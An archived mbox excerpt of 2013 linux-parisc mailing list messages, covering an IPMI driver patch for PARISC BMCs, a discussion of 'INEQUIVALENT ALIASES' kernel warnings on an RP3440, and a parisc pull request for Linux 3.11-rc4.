        by mx.google.com with ESMTPSA id rs1sm99234209obb.12.2013.07.30.19.21.39
        for <multiple recipients>
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Tue, 30 Jul 2013 19:21:39 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130623 Thunderbird/17.0.7
In-Reply-To: <20130730211342.6FDE51D33D@solo.franken.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5236 gmane.linux.kernel.openipmi:2155
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5236>

Ok, I have it in my tree.  Rolf mentioned a few cleanup things, but this 
is consistent with what is already there.  I should clean up all the 
things Rolf talked about in all the cases.

Thanks,

-corey

On 07/30/2013 04:13 PM, Thomas Bogendoerfer wrote:
> The last line of PARISC machines (C8000, RP34x0, etc.) have a BMC for
> controlling temperature, fan speed and other stuff. The BMC is connected
> via a special bus and listed in the firmware device tree. This change
> adds support for these BMCs to the IPMI driver.
>
> Signed-off-by: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
> ---
>
> v2: Fixed SMP problem by using smi_alloc_info() to get spinlock initialized
>      correctly
>
> This is the second try to get this change integrated. If you see
> any problems with this patch, please give me hints how to improve
> this patch.
>
>
>   drivers/char/ipmi/ipmi_si_intf.c |   75 ++++++++++++++++++++++++++++++++++++++
>   1 file changed, 75 insertions(+)
>
> diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
> index af4b23f..1ea4201 100644
> --- a/drivers/char/ipmi/ipmi_si_intf.c
> +++ b/drivers/char/ipmi/ipmi_si_intf.c
> @@ -71,6 +71,11 @@
>   #include <linux/of_address.h>
>   #include <linux/of_irq.h>
>   
> +#ifdef CONFIG_PARISC
> +#include <asm/hardware.h>	/* for register_parisc_driver() stuff */
> +#include <asm/parisc-device.h>
> +#endif
> +
>   #define PFX "ipmi_si: "
>   
>   /* Measure times between events in the driver. */
> @@ -298,6 +303,9 @@ static int pci_registered;
>   #ifdef CONFIG_ACPI
>   static int pnp_registered;
>   #endif
> +#ifdef CONFIG_PARISC
> +static int parisc_registered;
> +#endif
>   
>   static unsigned int kipmid_max_busy_us[SI_MAX_PARMS];
>   static int num_max_busy_us;
> @@ -2697,6 +2705,62 @@ static struct platform_driver ipmi_driver = {
>   	.remove		= ipmi_remove,
>   };
>   
> +#ifdef CONFIG_PARISC
> +static int ipmi_parisc_probe(struct parisc_device *dev)
> +{
> +	struct smi_info *info;
> +
> +	info = smi_info_alloc();
> +
> +	if (!info) {
> +		dev_err(&dev->dev,
> +			"could not allocate memory for PARISC probe\n");
> +		return -ENOMEM;
> +	}
> +
> +	info->si_type		= SI_KCS;
> +	info->addr_source	= SI_DEVICETREE;
> +	info->io_setup		= mem_setup;
> +	info->io.addr_type	= IPMI_MEM_ADDR_SPACE;
> +	info->io.addr_data	= dev->hpa.start;
> +	info->io.regsize	= 1;
> +	info->io.regspacing	= 1;
> +	info->io.regshift	= 0;
> +	info->irq		= 0; /* no interrupt */
> +	info->irq_setup		= NULL;
> +	info->dev		= &dev->dev;
> +
> +	dev_dbg(&dev->dev, "addr 0x%lx\n", info->io.addr_data);
> +
> +	dev_set_drvdata(&dev->dev, info);
> +
> +	if (add_smi(info)) {
> +		kfree(info);
> +		return -EBUSY;
> +	}
> +
> +	return 0;
> +}
> +
> +static int ipmi_parisc_remove(struct parisc_device *dev)
> +{
> +	cleanup_one_si(dev_get_drvdata(&dev->dev));
> +	return 0;
> +}
> +
> +static struct parisc_device_id ipmi_parisc_tbl[] = {
> +	{ HPHW_MC, HVERSION_REV_ANY_ID, 0x004, 0xC0 },
> +	{ 0, }
> +};
> +
> +static struct parisc_driver ipmi_parisc_driver = {
> +	.name =		"ipmi",
> +	.id_table =	ipmi_parisc_tbl,
> +	.probe =	ipmi_parisc_probe,
> +	.remove =	ipmi_parisc_remove,
> +};
> +#endif /* CONFIG_PARISC */
> +
>   static int wait_for_msg_done(struct smi_info *smi_info)
>   {
>   	enum si_sm_result     smi_result;
> @@ -3462,6 +3526,13 @@ static int init_ipmi_si(void)
>   		spmi_find_bmc();
>   #endif
>   
> +#ifdef CONFIG_PARISC
> +	register_parisc_driver(&ipmi_parisc_driver);
> +	parisc_registered = 1;
> +	/* poking PC IO addresses will crash machine, don't do it */
> +	si_trydefaults = 0;
> +#endif
> +
>   	/* We prefer devices with interrupts, but in the case of a machine
>   	   with multiple BMCs we assume that there will be several instances
>   	   of a given type so if we succeed in registering a type then also
> @@ -3608,6 +3679,10 @@ static void cleanup_ipmi_si(void)
>   	if (pnp_registered)
>   		pnp_unregister_driver(&ipmi_pnp_driver);
>   #endif
> +#ifdef CONFIG_PARISC
> +	if (parisc_registered)
> +		unregister_parisc_driver(&ipmi_parisc_driver);
> +#endif
>   
>   	platform_driver_unregister(&ipmi_driver);
>   

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: INEQUIVALENT ALIASES in 3.11-rc3
Date: Wed, 31 Jul 2013 11:44:27 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <51F8DC7B.9090504@gmx.de>
References: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375263869 18480 80.91.229.3 (31 Jul 2013 09:44:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Jul 2013 09:44:29 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 31 11:44:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4SxK-0008H7-93
	for glpp-linux-parisc@plane.gmane.org; Wed, 31 Jul 2013 11:44:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751559Ab3GaJo3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Jul 2013 05:44:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:55116 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751316Ab3GaJo3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Jul 2013 05:44:29 -0400
Original-Received: from [10.95.161.236] ([155.56.40.73]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MSMP5-1UceWW3F9P-00TYNY for
 <linux-parisc@vger.kernel.org>; Wed, 31 Jul 2013 11:44:27 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee>
X-Provags-ID: V03:K0:q+8CCsfL75zzidqwRkWaNXhUX8YJLQtE25AMl0FeWckQMfRHsc8
 Ptz+e6Juv1wK1BTdVtND1jpocS6fsyBDdg2FOhVjLfEcWR2mkOsIoGgwPUzTqZXZYobGs36
 Uc0oU6IZV1Ad7vExsBmhj0zQYq7ptStfWnrE8LloYpLovQw5+HDSCR/jblSnlYu6+dU2OXV
 doMX8yHpf1fn2falRFsOA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5237
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5237>

On 07/30/2013 11:06 PM, Meelis Roos wrote:
> I tried 3.11-rc3 yesterday on my RP3440. It works, but has acquired a 
> new warning during Gentoo emerge cycle:
> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> 
> There is no file named conftest present after emerge, so it must have 
> been some temporary program.

Those warnings are uncritical - but you should update binutils.
See: http://permalink.gmane.org/gmane.linux.ports.parisc/3834

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: INEQUIVALENT ALIASES in 3.11-rc3
Date: Wed, 31 Jul 2013 10:40:58 -0400
Lines: 57
Approved: news@gmane.org
Message-ID: <BLU0-SMTP6115FA1E01E093C9487F1197570@phx.gbl>
References: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee> <51F8DC7B.9090504@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375281680 25597 80.91.229.3 (31 Jul 2013 14:41:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Jul 2013 14:41:20 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 31 16:41:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4XaZ-0004EA-Qh
	for glpp-linux-parisc@plane.gmane.org; Wed, 31 Jul 2013 16:41:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760117Ab3GaOlT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Jul 2013 10:41:19 -0400
Original-Received: from blu0-omc4-s5.blu0.hotmail.com ([65.55.111.144]:39877 "EHLO
	blu0-omc4-s5.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759685Ab3GaOlR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Jul 2013 10:41:17 -0400
Original-Received: from BLU0-SMTP61 ([65.55.111.135]) by blu0-omc4-s5.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 31 Jul 2013 07:41:16 -0700
X-EIP: [2Tr+vcDsI1kCTB35NR+gERv/phEgB991]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP61.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 31 Jul 2013 07:41:14 -0700
In-Reply-To: <51F8DC7B.9090504@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Jul 2013 14:41:14.0821 (UTC) FILETIME=[022EA750:01CE8DFC]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5238>

On 31-Jul-13, at 5:44 AM, Helge Deller wrote:

> On 07/30/2013 11:06 PM, Meelis Roos wrote:
>> I tried 3.11-rc3 yesterday on my RP3440. It works, but has acquired a
>> new warning during Gentoo emerge cycle:
>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>> conftest
>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>> conftest
>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>> conftest
>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>> conftest
>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>> conftest
>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>> conftest
>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>> conftest
>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>> conftest
>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>> conftest
>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>> conftest
>>
>> There is no file named conftest present after emerge, so it must have
>> been some temporary program.
>
> Those warnings are uncritical - but you should update binutils.
> See: http://permalink.gmane.org/gmane.linux.ports.parisc/3834

I don't think we can assume that.  What I fixed was was the text and  
data mappings
where they overlappedi at the end of the text region:

[ 7649.720000] INEQUIVALENT ALIASES 0x13000 and 0x14000 in file tst- 
cputimer1
Virtual addresses 0x13000 and 0x14000 where both pointing at same  
page.  The mapping
mapping through 0x13000 was read only, so I think this case was  
probably harmless.  If the
inequivalent aliases above are writeable, then there is a problem.   
Compare the addresses
in the two cases.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc updates for v3.11-rc4
Date: Wed, 31 Jul 2013 23:55:26 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20130731215526.GA5249@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1375307744 30170 80.91.229.3 (31 Jul 2013 21:55:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Jul 2013 21:55:44 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 31 23:55:43 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1V4eMw-00067R-24
	for glk-linux-kernel-3@plane.gmane.org; Wed, 31 Jul 2013 23:55:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760807Ab3GaVzb (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 31 Jul 2013 17:55:31 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:63841 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751835Ab3GaVza (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 31 Jul 2013 17:55:30 -0400
Original-Received: from p100.box ([84.173.46.82]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MLR30-1V5CKY18za-000dVh for
 <linux-kernel@vger.kernel.org>; Wed, 31 Jul 2013 23:55:28 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:kW+OcNTu0tEg3CsBgQUHLdyNYMuolINNAemn2G5WjfFIw0Uo8zz
 nSBZU34ni2CJp1NxMNPSyNBzz6XcLy/20dKQuG+Qjg2mhw2iDUtws6jplSPOvfeMLoi/5hz
 fEUHLcbnz+lE8TCRNFLxuHK2rHK8ytmQor0b54thmXOg42LG95sP5IiEZVeOmg9QqpFk0RB
 cr/q2QhlMcKkOCh8eW9yw==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1536052 gmane.linux.ports.parisc:5239
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1536052>

Hi Linus,

please pull the latest parisc architecture fixes from:
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.11-rc4

The majority of lines changed are due the addition of a defconfig for the C8000
machine.  Even the fix in parisc/kernel/cache.c file is actually ony a 10-line
fix, but the change became bigger (and much nicer) to avoid errors of the
checkpatch script.

Here is the short-changelog:

This round of parisc updates includes mostly fixes for the C8000 workstation.
We have a new defconfig file for this machine, as well as fixes for it's serial
port, the AGP driver and the cache routines to cope with the vmas of the
FireGL card in a C8000.  The sys32.h header file was not used and as such it's
now gone.


Thanks,
Helge 

----------------------------------------------------------------
Alex Ivanov (1):
      parisc: agp/parisc-agp: allow binding of user memory to the AGP GART

Helge Deller (1):
      parisc: add defconfig for c8000 machine

John David Anglin (2):
      parisc: Fix cache routines to ignore vma's with an invalid pfn
      parisc: Remove arch/parisc/kernel/sys32.h header

Thomas Bogendoerfer (1):
      parisc: Fix interrupt routing for C8000 serial ports

 arch/parisc/configs/c8000_defconfig     | 279 ++++++++++++++++++++++++++++++++
 arch/parisc/include/asm/parisc-device.h |   3 +
 arch/parisc/kernel/cache.c              | 135 ++++++++--------
 arch/parisc/kernel/inventory.c          |   1 +
 arch/parisc/kernel/signal.c             |   7 -
 arch/parisc/kernel/signal32.c           |   1 -
 arch/parisc/kernel/sys32.h              |  36 -----
 arch/parisc/kernel/sys_parisc32.c       |   2 -
 drivers/char/agp/parisc-agp.c           |   6 +-
 drivers/parisc/iosapic.c                |  38 +++--
 drivers/tty/serial/8250/8250_gsc.c      |   3 +-
 11 files changed, 386 insertions(+), 125 deletions(-)
 create mode 100644 arch/parisc/configs/c8000_defconfig
 delete mode 100644 arch/parisc/kernel/sys32.h

From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: INEQUIVALENT ALIASES in 3.11-rc3
Date: Thu, 1 Aug 2013 12:28:03 +0300 (EEST)
Lines: 30
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1308011226170.14037@math.ut.ee>
References: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee> <51F8DC7B.9090504@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1375349288 1805 80.91.229.3 (1 Aug 2013 09:28:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Aug 2013 09:28:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 01 11:28:10 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4pB3-0007ku-8F
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Aug 2013 11:28:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752948Ab3HAJ2I (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Aug 2013 05:28:08 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:44781 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752055Ab3HAJ2H (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Aug 2013 05:28:07 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 7AC6B73D7BE;
	Thu,  1 Aug 2013 12:28:03 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 72744427978; Thu,  1 Aug 2013 12:28:03 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 66878427977;
	Thu,  1 Aug 2013 12:28:03 +0300 (EEST)
In-Reply-To: <51F8DC7B.9090504@gmx.de>
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5240
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5240>

> > I tried 3.11-rc3 yesterday on my RP3440. It works, but has acquired a 
> > new warning during Gentoo emerge cycle:
> > [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> > [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> > [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> > [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> > [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file conftest
> > [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> > [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> > [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> > [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> > [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file conftest
> > 
> > There is no file named conftest present after emerge, so it must have 
> > been some temporary program.
> 
> Those warnings are uncritical - but you should update binutils.
> See: http://permalink.gmane.org/gmane.linux.ports.parisc/3834

I did a full deep emerge update on Gentoo taht also installed binutils 
2.23.1. I will look for further messages when there is something new to 
upgrade - during the same upgrade, it got messages about locale-archive.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: INEQUIVALENT ALIASES in 3.11-rc3
Date: Thu, 1 Aug 2013 10:15:53 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <BLU0-SMTP31D8AC5BCBAB50119B78C997500@phx.gbl>
References: <alpine.SOC.1.00.1307310003070.19136@math.ut.ee> <51F8DC7B.9090504@gmx.de> <alpine.SOC.1.00.1308011226170.14037@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1375366577 3741 80.91.229.3 (1 Aug 2013 14:16:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 1 Aug 2013 14:16:17 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 01 16:16:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V4tfp-00089V-Ax
	for glpp-linux-parisc@plane.gmane.org; Thu, 01 Aug 2013 16:16:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755217Ab3HAOQM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Aug 2013 10:16:12 -0400
Original-Received: from blu0-omc4-s19.blu0.hotmail.com ([65.55.111.158]:26421 "EHLO
	blu0-omc4-s19.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752230Ab3HAOQM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Aug 2013 10:16:12 -0400
Original-Received: from BLU0-SMTP31 ([65.55.111.136]) by blu0-omc4-s19.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 Aug 2013 07:16:10 -0700
X-EIP: [AQBACDI8SKgTHpFU2JUu4JSRa0qxQmUo]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.84.211]) by BLU0-SMTP31.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Thu, 1 Aug 2013 07:16:09 -0700
In-Reply-To: <alpine.SOC.1.00.1308011226170.14037@math.ut.ee>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Aug 2013 14:16:10.0002 (UTC) FILETIME=[ABA73F20:01CE8EC1]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5241
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5241>

On 1-Aug-13, at 5:28 AM, Meelis Roos wrote:

>>> I tried 3.11-rc3 yesterday on my RP3440. It works, but has  
>>> acquired a
>>> new warning during Gentoo emerge cycle:
>>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>>> conftest
>>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>>> conftest
>>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>>> conftest
>>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>>> conftest
>>> [  922.492000] INEQUIVALENT ALIASES 0x4197a000 and 0x7b000 in file  
>>> conftest
>>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>>> conftest
>>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>>> conftest
>>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>>> conftest
>>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>>> conftest
>>> [ 4577.536000] INEQUIVALENT ALIASES 0x41a76000 and 0x7b000 in file  
>>> conftest
>>>
>>> There is no file named conftest present after emerge, so it must  
>>> have
>>> been some temporary program.
>>
>> Those warnings are uncritical - but you should update binutils.
>> See: http://permalink.gmane.org/gmane.linux.ports.parisc/3834
>
> I did a full deep emerge update on Gentoo taht also installed binutils
> 2.23.1. I will look for further messages when there is something new  
> to
> upgrade - during the same upgrade, it got messages about locale- 
> archive.


conftest is the name of the test program used by configure.  It's  
output log is in config.log in the directory
being configured.

As I said, the above messages typically occur when a core dump  
occurs.  This is because the core dump
flushes all the mappings that the application has and the kernel  
detects the inequivalent aliases.  Probably,
this occurred twice in the package being configured.

It is easy to generate inequivalent aliases with a custom linker  
script.  It's quite likely they are being generated
by the eglibc package but that's just a guess.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


